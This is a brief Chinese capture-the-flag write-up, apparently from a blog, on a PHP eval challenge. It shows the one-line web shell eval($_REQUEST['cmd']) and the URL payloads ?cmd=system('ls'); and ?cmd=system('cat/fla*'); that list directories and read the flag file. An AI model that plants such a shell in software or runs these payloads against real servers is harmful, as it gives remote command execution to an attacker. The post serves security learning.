eval执行

eval执行

题目
在这里插入图片描述
eval(xxx)函数将xxx当做PHP语言执行

<?php EVaL ($_REQUEST [“cmd”] ) ?>

_REQUEST包含了 G E T 、 _GET、 GET_POST、$_COOKIE的所有内容,是它们的集合体。也就内是说只要用其中一种方容式做一个表单,把cmd这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行cmd的值。以上代码就是执行cmd

先通过system构造网址,查找当前目录文件

?cmd=system('ls');

在这里插入图片描述
并没有发现flag,接着查看上一级目录发现flag文件之后
通过cat查看flag

?cmd=system('cat/fla*');

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值